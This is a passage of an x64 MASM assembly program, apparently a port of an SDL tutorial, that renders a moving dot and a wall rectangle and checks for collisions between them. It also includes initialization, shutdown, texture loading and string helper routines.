BYTE, :PTR BYTE .const SCREEN_WIDTH = 640 SCREEN_HEIGHT = 480 SCREEN_TICKS_PER_FRAME = 16 frames REAL4 1000.0 ; Values to rotate the sprite WINDOW_TITLE BYTE "SDL Tutorial",0 FILE_ATTRS BYTE "rb" DOT_IMAGE BYTE "Res/dot.bmp",0 .data quit BYTE 0 gDot Dot <0,0,0,0> gWall SDL_Rect<300, 40, 40, 400> .data? pWindow QWORD ? eventHandler SDL_Event <> gRenderer QWORD ? gDotTexture LTexture <> gBuffer BYTE 1024 DUP(?) gCurrentTime BYTE 1024 DUP(?) .code main proc local i:dword local poll:qword finit ; Alloc our memory for our objects, starts SDL, ... invoke Init .if rax==0 invoke ExitProcess, EXIT_FAILURE .endif invoke LoadMedia invoke Dot_Init, addr gDot ; Gameloop .while quit!=1 ; Process input invoke SDL_PollEvent, addr eventHandler .while rax!=0 .if eventHandler.type_ == SDL_EVENTQUIT mov quit, 1 .endif invoke Dot_handleEvent, addr gDot, addr eventHandler invoke SDL_PollEvent, addr eventHandler .endw ; Update game invoke Dot_move, addr gDot, addr gWall ; Clear screen invoke SDL_SetRenderDrawColor, gRenderer, 0FFh, 0FFh, 0FFh, 0FFh invoke SDL_RenderClear, gRenderer ; Render wall invoke SDL_SetRenderDrawColor, gRenderer, 0h, 0h, 0h, 0FFh invoke SDL_RenderDrawRect, gRenderer, addr gWall ; Render texture invoke Dot_render, addr gDot ; Update the window invoke SDL_RenderPresent,gRenderer .endw invoke SDL_DestroyWindow, pWindow ; Clean our allocated memory, shutdown SDL, ... invoke Shutdown invoke ExitProcess, EXIT_SUCCESS ret main endp Init proc finit ; Starts the FPU invoke SDL_Init, SDL_INIT_VIDEO OR SDL_INIT_AUDIO .if rax<0 xor rax, rax jmp EXIT .endif invoke SDL_CreateWindow, addr WINDOW_TITLE, SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, SCREEN_WIDTH, SCREEN_HEIGHT, SDL_WINDOW_SHOWN .if rax==0 jmp EXIT .endif mov pWindow, rax ; Create the renderer invoke SDL_CreateRenderer, rax, -1, SDL_RENDERER_ACCELERATED OR SDL_RENDERER_PRESENTVSYNC .if rax==0 jmp EXIT .endif mov gRenderer, rax ; Initialize renderer color invoke SDL_SetRenderDrawColor, gRenderer, 0FFh, 0FFH, 0FFH, 0FFH ; Init PNG image format invoke IMG_Init, IMG_INIT_PNG and rax, IMG_INIT_PNG .if rax!=IMG_INIT_PNG xor rax, rax jmp EXIT .endif ; Init Font module invoke TTF_Init .if rax==-1 xor rax, rax jmp EXIT .endif ; Init Mixer module invoke Mix_OpenAudio, 44100, MIX_DEFAULT_FORMAT, 2, 2048 .if rax<0 xor rax, rax jmp EXIT .endif mov rax, 1 EXIT: ret Init endp Shutdown proc invoke freeTexture, addr gDotTexture invoke SDL_DestroyRenderer, gRenderer invoke SDL_DestroyWindow, pWindow invoke TTF_Quit invoke IMG_Quit invoke SDL_Quit ret Shutdown endp LoadMedia PROC LOCAL success:BYTE mov success, 1 invoke loadTextureFromFile, gRenderer, addr gDotTexture, addr DOT_IMAGE EXIT: ret LoadMedia endp LoadTexture PROC pFile:QWORD LOCAL loadedSurface:QWORD LOCAL newTexture:QWORD invoke IMG_Load, pFile .if rax==0 jmp ERROR .endif mov loadedSurface, rax invoke SDL_CreateTextureFromSurface, gRenderer, rax .if rax==0 jmp ERROR .endif mov newTexture, rax invoke SDL_FreeSurface, loadedSurface mov rax, newTexture ERROR: ret LoadTexture endp StringCopy proc uses rsi rdi, pDst:PTR BYTE, pSrc:PTR BYTE cld mov rsi, pSrc mov rdi, pDst .while BYTE PTR [rsi] != 0 movsb .endw mov BYTE PTR [rdi], 0 ; Mark end of string ret StringCopy endp StringConcat proc uses rsi rdi, pDst:PTR BYTE, pSrc:PTR BYTE cld mov rsi, pSrc mov rdi, pDst .while BYTE PTR [rdi] != 0 inc rdi .endw .while BYTE PTR [rsi] != 0 movsb .endw mov BYTE PTR [rdi], 0 ; Mark end of string ret StringConcat endp CheckCollision proc uses rbx rcx rdx rsi, a:PTR SDL_Rect, b:PTR SDL_Rect ; Calculate the sides of rect A mov rsi, a mov rdi, b mov r12d, (SDL_Rect PTR[rsi]).x ; leftA = a.x mov ecx, r12d ; rightA = a.x add ecx, (SDL_Rect PTR[rsi]).w ; rightA += a.w mov r8d, (SDL_Rect PTR[rsi]).y ; topA = a.y mov r10d, r8d ; bottomA = a.y add r10d, (SDL_Rect PTR[rsi]).h ; bottomA += a.h ; Calculate the sides of rect B mov ebx, (SDL_Rect PTR[rdi]).x ; leftB = b.x mov edx, ebx ; rightB = b.x add edx, (SDL_Rect PTR[rdi]).w ; rightB += b.w mov r9d, (SDL_Rect PTR[rdi]).y ; topB = b.y mov r11d, r9d ; bottomB = b.y add r11d, (SDL_Rect PTR[rdi]).h ; bottomB += b.h ; Set return value mov rax, 1 ; If any of the sides from A are outside of B .if r10 <= r9 ; bottomA <= topB xor rax, rax .endif .if r8 >= r11 ; topA >= bottomB xor rax, rax .endif .if rcx <= rbx ; rightA <= leftB xor rax, rax .endif .if r12 >= rdx ; leftA >= rightB xor eax, eax .endif ret CheckCollision endp END ; vim options: ts=2 sw=2